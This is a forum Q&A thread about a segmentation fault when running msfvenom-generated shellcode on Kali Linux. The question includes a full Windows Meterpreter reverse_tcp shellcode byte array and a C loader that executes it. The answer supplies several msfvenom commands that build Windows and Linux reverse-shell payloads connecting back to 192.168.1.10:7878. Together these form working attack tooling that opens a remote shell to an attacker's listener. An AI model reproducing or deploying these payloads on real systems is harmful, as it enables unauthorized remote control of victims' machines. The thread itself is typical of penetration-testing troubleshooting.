Segmentation fault in shellcode

Question

I generated a shell code with msfvenom

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c

When I compile my shell.c with gcc (version 6.3.0-16) with this options:

# gcc -o shell shell.c
# gcc -o shell shell.c -fno-stack-protector -z execstack
# gcc -o shell shell.c -fno-stack-protector -z execstack -m32

All these options above give me an error when I run ./shell: segmentation fault

Question: How can I resolve it?

My distro: 4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux

My shell.c code:

    unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x08\x5d\x68\x02"
"\x00\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";


int main()

{

int (*fonction) ();

fonction=(int(*)())buf;

(int) (*fonction) ();

}

Answer 1

First of all, your shell.c code is right.

The problem is that you are executing an exploit generated for Windows platform, as you can see:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c

If your target is Windows, the format file output need to be executable file -f exe. I recommend using the -b '\x00' to guarantee the bad characters encoding:

Windows x86: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f exe -o shell.exe -b '\x00'

there a tiny change for Windows x64, just make sure that your payload path contains "x64": windows/x64/meterpreter/...

Windows x64: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f exe -o shell.exe -b '\x00'

---

In a Linux platform you have to specify the architecture in the path to msfvenom:

Linux x86: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c -b '\x00'

Note that I change the format (-f) output file to .c.

Linux x64: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c -b '\x00'

However, if your target is Linux x86... So assuming you are on the platform mentioned in your question [4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux] you will have to specify the architecture in gcc using -m32.